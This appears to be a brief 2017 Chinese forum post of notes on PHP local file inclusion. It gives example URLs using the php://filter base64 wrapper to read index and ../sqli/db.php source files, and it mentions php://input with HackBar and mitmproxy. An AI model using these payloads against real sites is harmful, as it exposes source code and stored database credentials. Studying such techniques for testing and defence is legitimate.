ty9919 发表于 2017-3-3 08:43:58

PHP LFI

1. LFI
http://www.example.com/index.php?m=php://filter/convert.base64-encode/resource=index
http://www.example.com/index.php?m=php://filter/read=convert.base64-encode/resource=../sqli/db.php

2. php://input可以等效于post数据
使用hackbar插件提交数据


然后使用mitmporxy抓包


参考：http://www.freebuf.com/articles/web/14097.html
https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/
页: [1]
查看完整版本: PHP LFI